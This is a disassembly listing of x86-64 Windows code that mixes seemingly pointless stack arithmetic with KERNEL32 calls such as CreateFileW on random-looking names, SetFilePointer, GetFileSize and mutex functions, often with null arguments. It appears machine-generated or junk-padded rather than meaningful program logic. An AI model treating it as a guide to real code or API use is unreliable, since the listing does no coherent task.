mov edx, 0x7b0f
mov rcx, qword [rsp + 0xc400]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x496c], eax
mov rax, qword [rsp + 0xab68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb7b0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x38d], al
movsx eax, word [rsp + 0x1d84]
mov rcx, qword [rsp + 0x9848]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1de4], ax
lea rcx, [rsp + 0xc140]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xba28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1994]
sar eax, cl
mov word [0x14022bac4], ax
mov rax, qword [rsp + 0x9be8]
mov rax, qword [rax]
mov qword [rsp + 0xc800], rax
mov rax, qword [0x14022a0b8]
mov rcx, qword [rsp + 0xb708]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7f10], rax
mov rax, qword [rsp + 0x8640]
mov rcx, qword [rsp + 0xbc40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9240], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x9bef
mov rcx, qword [rsp + 0xbb58]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4c38], eax
mov rax, qword [rsp + 0x9b80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb680]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbcb0]
mov word [rcx], ax
mov rax, qword [rsp + 0xacb8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc608]
mov qword [rsp + 0xc808], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc808]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xbcd8]
mov dword [rcx], eax
lea rax, [rsp + 0x70]
mov qword [rsp + 0xc810], rax
mov rax, qword [rsp + 0xaf40]
mov rcx, qword [0x14022bc70]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9d00]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa7d8]
mov eax, dword [rax]
mov dword [rsp + 0x4c3c], eax
mov rax, qword [rsp + 0xa1b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3d4]
and eax, ecx
mov byte [rsp + 0x3ad], al
lea rdx, [rsp + 0x4bf4]
mov rcx, qword [rsp + 0xa900]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x48cc], eax
lea rcx, [rsp + 0xa470]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.Qe7ixuZwhDwRTT4
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc818], rax
movsx eax, word [rsp + 0x1db0]
mov rcx, qword [rsp + 0xa510]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14022a130], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x8a9e
mov rcx, qword [rsp + 0xb568]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4b40], eax
mov rax, qword [rsp + 0xc6c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbd10]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb848]
mov word [rcx], ax
lea rax, [rsp + 0x2084]
mov qword [rsp + 0xc820], rax
mov rax, qword [rsp + 0xb7b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc5e0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb980], rax
mov rax, qword [rsp + 0xadb8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3acc]
shl eax, cl
mov dword [rsp + 0x3de0], eax
mov rax, qword [rsp + 0xc1a8]
mov rcx, qword [rsp + 0x6f80]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xa098], rax
mov rax, qword [rsp + 0xaa18]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xac58]
movsx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0xac08]
mov byte [rcx], al
lea rdx, [rsp + 0x4a2c]
mov rcx, qword [rsp + 0x9bf0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4c40], eax
mov rax, qword [rsp + 0xa980]
movzx eax, word [rax]
mov word [rsp + 0x209c], ax
mov rax, qword [rsp + 0xb9a8]
movzx eax, word [rax]
mov rcx, qword [0x14022b9d8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1de0], ax
mov rax, qword [rsp + 0xad68]
mov rcx, qword [rsp + 0xb628]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x14022bcb8]
mov qword [rcx], rax
lea rax, [rsp + 0x1db4]
mov qword [rsp + 0xc828], rax
mov rax, qword [rsp + 0x97d8]
mov rcx, qword [0x14022a038]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8518], rax
lea rax, [rsp + 0x8668]
mov qword [rsp + 0xc830], rax
mov rax, qword [rsp + 0xa490]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb1e0]
movsx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x15a], al
mov rax, qword [rsp + 0xa158]
mov ecx, dword [rsp + 0x4a00]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xb8d8]
mov dword [rcx], eax
mov r9d, 0x2547
xor r8d, r8d
lea rdx, [rsp + 0xbd38]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4784], eax
lea rax, [rsp + 0x44c4]
mov qword [rsp + 0xc838], rax
mov rax, qword [rsp + 0xb610]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x16c]
add eax, ecx
mov byte [rsp + 0x35d], al
lea rax, [rsp + 0xaf18]
mov qword [rsp + 0xc840], rax
movsx eax, word [0x140229f34]
movsx ecx, word [rsp + 0x1930]
sar eax, cl
mov rcx, qword [0x14022bbf8]
mov word [rcx], ax
lea rcx, [rsp + 0xbb48]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.vt9dpKsoZoQC3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc848], rax
mov rax, qword [rsp + 0x9f00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcd4]
sub eax, ecx
mov word [rsp + 0x1dc4], ax
mov rax, qword [rsp + 0x9b78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x83c]
and eax, ecx
mov rcx, qword [rsp + 0xc770]
mov word [rcx], ax
lea rdx, [rsp + 0x4904]
mov rcx, qword [rsp + 0xc520]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x48d4], eax
mov rax, qword [rsp + 0xa840]
movzx eax, word [rax]
mov word [rsp + 0x20a0], ax
mov rax, qword [rsp + 0xb338]
mov rcx, qword [rsp + 0xc338]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x474c], eax
lea rax, [0x14022a048]
mov qword [rsp + 0xc850], rax
mov rax, qword [rsp + 0xb250]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb180]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xbe38]
mov byte [rcx], al
mov rax, qword [rsp + 0xb680]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f80]
shl eax, cl
mov rcx, qword [rsp + 0xaa80]
mov word [rcx], ax
movzx eax, word [0x14022bae8]
mov rcx, qword [rsp + 0xb910]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xa88], ax
mov rax, qword [rsp + 0xbaf8]
mov rax, qword [rax]
mov qword [0x14022bf10], rax
mov rax, qword [rsp + 0x9e70]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb008]
sar rax, cl
mov qword [rsp + 0xac88], rax
mov rax, qword [0x14022a050]
mov qword [rsp + 0xc858], rax
mov rax, qword [rsp + 0xba38]
mov rcx, qword [rsp + 0x9088]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa290]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1c18]
movzx ecx, word [rsp + 0xc60]
add eax, ecx
mov word [rsp + 0x1958], ax
movzx eax, byte [rsp + 0x16c]
movzx ecx, byte [rsp + 0x365]
add eax, ecx
mov byte [rsp + 0x19e], al
mov rax, qword [rsp + 0x9f80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41b4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa160]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa170]
movzx eax, byte [rax]
mov byte [rsp + 0x3d6], al
mov rax, qword [rsp + 0xb488]
mov rcx, qword [rsp + 0x8a70]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa750], rax
mov rax, qword [rsp + 0x98b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x458c]
and ecx, eax
mov eax, ecx
mov dword [0x14022a134], eax
lea rax, [0x14022bc94]
mov qword [rsp + 0xc860], rax
mov rax, qword [rsp + 0xc738]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1dd0]
sar eax, cl
mov word [rsp + 0x17fc], ax
mov rax, qword [rsp + 0x9e98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1598]
add eax, ecx
mov rcx, qword [rsp + 0xa458]
mov word [rcx], ax
lea rax, str.GnB_ax
mov qword [rsp + 0xc868], rax
mov eax, dword [rsp + 0x424c]
mov ecx, dword [rsp + 0x4c10]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaad0]
mov dword [rcx], eax
lea rax, [rsp + 0x82]
mov qword [rsp + 0xc870], rax
mov rax, qword [rsp + 0xaaa0]
mov rcx, qword [rsp + 0x88c0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9568], rax
movsx eax, word [rsp + 0x1e28]
movsx ecx, word [rsp + 0x1d28]
or eax, ecx
mov word [rsp + 0x2030], ax
movzx eax, word [rsp + 0x1e8c]
movzx ecx, word [0x14022bb38]
shl eax, cl
mov word [0x14022b968], ax
lea rax, [rsp + 0xb728]
mov qword [rsp + 0xc878], rax
movzx eax, word [rsp + 0x1cf0]
movzx ecx, word [rsp + 0x1d44]
add eax, ecx
mov rcx, qword [rsp + 0xc7b8]
mov word [rcx], ax
mov eax, dword [rsp + 0x3dcc]
mov dword [rsp + 0x4c44], eax
mov rax, qword [rsp + 0xabf8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb348]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa350]
mov byte [rcx], al
mov rax, qword [rsp + 0xadb8]
mov ecx, dword [rsp + 0x3b10]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x49d4], eax
lea rax, [rsp + 0x387]
mov qword [rsp + 0xc880], rax
mov rax, qword [rsp + 0xa940]
mov rcx, qword [rsp + 0xaf50]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8ef8], rax
mov rax, qword [rsp + 0xb9e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e0c]
add eax, ecx
mov word [rsp + 0xb98], ax
movzx eax, word [0x140229f28]
mov rcx, qword [rsp + 0xa5c8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14022bd48]
mov word [rcx], ax
lea rcx, [rsp + 0xa470]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xb760]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7f68]
sar rax, cl
mov qword [rsp + 0x90c8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc888], rax
lea rax, [rsp + 0xa8e0]
mov qword [rsp + 0xc890], rax
mov rax, qword [rsp + 0x9bd0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa1d8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xba20]
mov word [rcx], ax
mov rax, qword [rsp + 0xb388]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdcc]
shl eax, cl
mov word [rsp + 0x12b4], ax
lea rdx, [rsp + 0x48c8]
mov rcx, qword [rsp + 0xc268]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4b54], eax
lea rax, [rsp + 0x4778]
mov qword [rsp + 0xc898], rax
mov rax, qword [0x14022bc50]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x13f]
or eax, ecx
mov byte [rsp + 0x35a], al
mov rax, qword [rsp + 0xbc30]
mov rax, qword [rax]
mov qword [rsp + 0xc8a0], rax
mov rax, qword [rsp + 0xad40]
mov rcx, qword [rsp + 0xba10]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xa520], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0x1d5c]
mov word [0x14022bf18], ax
movzx eax, word [rsp + 0x15f4]
movzx ecx, word [rsp + 0x1d94]
sub eax, ecx
mov rcx, qword [rsp + 0xa000]
mov word [rcx], ax
mov rax, qword [rsp + 0xaa38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x37d]
add eax, ecx
mov byte [rsp + 0x50], al
mov eax, dword [rsp + 0x41c8]
movzx ecx, al
mov eax, dword [rsp + 0x4b68]
sar eax, cl
mov rcx, qword [rsp + 0x9b68]
mov dword [rcx], eax
lea rax, [rsp + 0x9c28]
mov qword [rsp + 0xc8a8], rax
mov rax, qword [rsp + 0xa158]
mov rcx, qword [rsp + 0xb4b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x48ac], eax
mov rax, qword [rsp + 0xaff8]
mov rcx, qword [rsp + 0x94a8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x76c8], rax
movzx eax, byte [rsp + 0x8c]
mov byte [rsp + 0x3d7], al
movsx eax, word [rsp + 0x1d28]
mov rcx, qword [0x14022baf0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1c78], ax
mov rax, qword [rsp + 0xc828]
movzx eax, word [rax]
mov word [0x14022bf1c], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.VbWODHkBz29sXOD8Osew
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc8b0], rax
lea rax, [rsp + 0x9cd8]
mov qword [rsp + 0xc8b8], rax
mov rax, qword [rsp + 0xade0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xac0]
and eax, ecx
mov rcx, qword [rsp + 0xa268]
mov word [rcx], ax
mov rax, qword [0x14022bcc0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa2d8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xb270]
mov word [rcx], ax
lea rax, [rsp + 0x8c08]
mov qword [rsp + 0xc8c0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
movsx eax, byte [rsp + 0x110]
movsx ecx, byte [rsp + 0x3a4]
add eax, ecx
mov rcx, qword [rsp + 0xafe0]
mov byte [rcx], al
mov rax, qword [rsp + 0xa190]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14022a134]
shr eax, cl
mov dword [rsp + 0x45a4], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xd2c2
mov rcx, qword [rsp + 0xa530]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4b78], eax
mov rax, qword [rsp + 0x9670]
mov rcx, qword [rsp + 0xb808]
mov qword [rsp + 0xc8c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc8c8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9650], rax
lea rcx, [rsp + 0xc8d0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rax, [rsp + 0x1cbc]
mov qword [rsp + 0xc8d8], rax
mov rax, qword [rsp + 0xabe8]
mov rcx, qword [rsp + 0xb6b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [0x14022bd88], rax
movzx eax, byte [rsp + 0x35b]
movzx ecx, byte [rsp + 0x37a]
xor eax, ecx
mov byte [rsp + 0x399], al
mov rax, qword [rsp + 0xb450]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x429c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a64], eax
lea rax, [rsp + 0x1e50]
mov qword [rsp + 0xc8e0], rax
movzx eax, word [rsp + 0xe38]
movzx ecx, word [rsp + 0x1508]
add eax, ecx
mov word [rsp + 0x1ed0], ax
mov rax, qword [rsp + 0x7cd0]
mov qword [rsp + 0xc8e8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
mov eax, dword [rsp + 0x4280]
mov ecx, dword [rsp + 0x4308]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa818]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x37b]
movsx ecx, byte [rsp + 0x374]
and eax, ecx
mov rcx, qword [rsp + 0xa170]
mov byte [rcx], al
lea rax, [0x14022ba68]
mov qword [rsp + 0xc8f0], rax
lea rdx, [rsp + 0x47d4]
mov rcx, qword [rsp + 0xb888]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4a84], eax
movzx eax, word [rsp + 0xc60]
mov rcx, qword [rsp + 0xac00]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14022a138], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.2XHWz5V1Rtr
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc8f8], rax
mov rax, qword [rsp + 0x9d48]
mov rcx, qword [0x14022a020]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7800], rax
mov rax, qword [rsp + 0x82e8]
mov qword [rsp + 0xc900], rax
mov rax, qword [rsp + 0x9788]
mov rcx, qword [rsp + 0x9a80]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa848], rax
mov rax, qword [rsp + 0xb570]
movsx eax, word [rax]
movsx ecx, word [0x14022a0d0]
add eax, ecx
mov word [rsp + 0x1ff8], ax
lea rax, [rsp + 0xb960]
mov qword [rsp + 0xc908], rax
lea rcx, [rsp + 0xb030]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, byte [rsp + 0x3b8]
movsx ecx, byte [rsp + 0x242]
and eax, ecx
mov byte [rsp + 0x3d0], al
lea rax, [rsp + 0x451c]
mov qword [rsp + 0xc910], rax
mov r9d, 0x3a5
xor r8d, r8d
lea rdx, [rsp + 0xa968]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4ac4], eax
mov rax, qword [rsp + 0xbda8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x376]
sub eax, ecx
mov rcx, qword [rsp + 0xad00]
mov byte [rcx], al
lea rax, [rsp + 0x3b24]
mov qword [rsp + 0xc918], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
movsx eax, word [rsp + 0x1aa0]
mov rcx, qword [rsp + 0xc090]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x14022bc58], ax
movzx eax, word [0x14022bd20]
movzx ecx, word [rsp + 0x2068]
shl eax, cl
mov word [rsp + 0x1ca8], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.IiPvylHeUXCzZ5VZAkY2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc920], rax
mov rax, qword [rsp + 0xb220]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc570]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xac00]
mov word [rcx], ax
mov rax, qword [rsp + 0xc708]
movzx ecx, al
mov rax, qword [0x14022bf08]
sar rax, cl
mov qword [rsp + 0x8f98], rax
movsx eax, byte [rsp + 0x395]
movsx ecx, byte [rsp + 0x3c6]
imul eax, ecx
mov byte [rsp + 0x27f], al
mov rax, qword [rsp + 0xbc10]
mov qword [rsp + 0xc928], rax
mov rax, qword [rsp + 0xaa00]
mov eax, dword [rax]
mov ecx, dword [0x140229f2c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ef4], eax
movsx eax, word [rsp + 0x194c]
mov rcx, qword [rsp + 0xaf10]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1e10], ax
lea rax, [rsp + 0x8e4]
mov qword [rsp + 0xc930], rax
mov rax, qword [0x14022bd00]
mov rcx, qword [rsp + 0xbde8]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14022a030], rax
movzx eax, word [rsp + 0x1fc0]
movzx ecx, word [rsp + 0x1f98]
and eax, ecx
mov word [rsp + 0x1d70], ax
lea rax, [rsp + 0x83f0]
mov qword [rsp + 0xc938], rax
mov rax, qword [rsp + 0xc260]
mov rcx, qword [rsp + 0xbbc8]
mov qword [rsp + 0xc940], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc940]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xc6d0], rax
mov rax, qword [rsp + 0xb1e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa9b8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9ee8]
mov byte [rcx], al
lea rdx, [rsp + 0x4bdc]
mov rcx, qword [rsp + 0x9ea0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4b20], eax
lea rcx, [rsp + 0x9d30]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc948], rax
xor edx, edx
mov rax, qword [rsp + 0xc628]
mov eax, dword [rax]
mov ecx, 0x378a
div ecx
mov dword [rsp + 0x4034], eax
movzx eax, byte [rsp + 0x6e]
movzx ecx, byte [rsp + 0x6b]
sub eax, ecx
mov rcx, qword [rsp + 0xb838]
mov byte [rcx], al
mov eax, dword [rsp + 0x4ba4]
mov dword [rsp + 0x4c48], eax
mov rax, qword [rsp + 0x7768]
mov rcx, qword [0x14022a048]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc1a8], rax
mov rax, qword [rsp + 0xbcb0]
movzx eax, word [rax]
mov word [0x14022bf20], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
movsx eax, word [rsp + 0x1130]
mov rcx, qword [rsp + 0xaf58]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1ea0], ax
lea rax, [rsp + 0x1fc4]
mov qword [rsp + 0xc950], rax
movzx eax, word [rsp + 0xdcc]
movzx ecx, word [rsp + 0x83c]
shl eax, cl
mov rcx, qword [rsp + 0xbf60]
mov word [rcx], ax
mov rax, qword [rsp + 0xb408]
movzx eax, byte [rax]
mov byte [rsp + 0x3d8], al
mov r9d, 2
xor r8d, r8d
mov edx, 0xc0c0
mov rcx, qword [rsp + 0xa1c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4afc], eax
mov rax, qword [rsp + 0xb338]
mov ecx, dword [0x14022bde8]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xa858]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7450]
mov rcx, qword [rsp + 0xa668]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x7ca0], rax
mov rax, qword [rsp + 0xbcb0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xaf98]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1b80], ax
movzx eax, word [rsp + 0xac0]
movzx ecx, word [rsp + 0x1f0c]
add eax, ecx
mov word [rsp + 0x7fc], ax
mov rax, qword [rsp + 0xc120]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbac8]
sub rcx, rax
mov rax, rcx
mov qword [0x14022bdc8], rax
lea rax, [rsp + 0xa520]
mov qword [rsp + 0xc958], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rdx, [rsp + 0x4870]
mov rcx, qword [rsp + 0xbb70]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4af0], eax
mov rax, qword [rsp + 0x97d0]
mov rcx, qword [rsp + 0xbcf0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa990]
mov qword [rcx], rax
lea rax, [rsp + 0xb5b0]
mov qword [rsp + 0xc960], rax
mov rax, qword [rsp + 0xc8d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d9c]
sar eax, cl
mov word [rsp + 0x17f8], ax
mov rax, qword [rsp + 0xb788]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xabf8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x36d], al
lea rax, [rsp + 0x49b8]
mov qword [rsp + 0xc968], rax
lea rcx, [rsp + 0xa0a0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9258]
mov rcx, qword [rsp + 0xbb18]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9d18], rax
movzx eax, byte [rsp + 0x188]
mov byte [rsp + 0x3d9], al
mov rax, qword [rsp + 0xa3d8]
mov ecx, dword [rsp + 0x4b50]
mov eax, dword [rax]
and eax, ecx
mov dword [0x14022a13c], eax
mov rax, qword [rsp + 0xae58]
movsx eax, word [rax]
mov rcx, qword [0x14022bac8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x10d4], ax
movsx eax, word [rsp + 0x1da8]
movsx ecx, word [rsp + 0x1cf4]
shl eax, cl
mov word [rsp + 0xa70], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.1JQpS22D8czDQ0z15ON
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc970], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov rax, qword [rsp + 0xa2e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bc4]
xor eax, ecx
mov word [rsp + 0x183c], ax
mov rax, qword [rsp + 0x7d48]
mov rcx, qword [rsp + 0xb760]
mov qword [rsp + 0xc978], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc978]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xb9d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa2a0]
mov rax, qword [rax]
mov qword [rsp + 0xc980], rax
mov rax, qword [rsp + 0xb698]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4920]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3a4c], eax
lea rax, [rsp + 0x3bb]
mov qword [rsp + 0xc988], rax
movsx eax, word [rsp + 0x2044]
movsx ecx, word [rsp + 0x1d58]
add eax, ecx
mov word [rsp + 0x1400], ax
lea rax, [rsp + 0x9f4]
mov qword [0x14022bf28], rax
mov rax, qword [0x14022bb48]
mov rcx, qword [rsp + 0x97d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x73a0], rax
mov rcx, qword [rsp + 0xbdc0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [rsp + 0x1cfc]
mov word [rsp + 0x20a4], ax
movzx eax, byte [rsp + 0x8a]
movzx ecx, byte [rsp + 0x29c]
sub eax, ecx
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0xa258]
mov ecx, dword [rsp + 0x4bf8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x441c], eax
movsx eax, byte [rsp + 0x25f]
movsx ecx, byte [rsp + 0x3a3]
sar eax, cl
mov rcx, qword [rsp + 0x99c0]
mov byte [rcx], al
mov rax, qword [0x14022b818]
mov rcx, qword [rsp + 0x8f30]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7490], rax
lea rdx, [rsp + 0x4c4c]
mov rcx, qword [rsp + 0xa8f0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4af8], eax
mov eax, dword [rsp + 0x4a7c]
mov dword [rsp + 0x4c50], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
mov rax, qword [rsp + 0xc860]
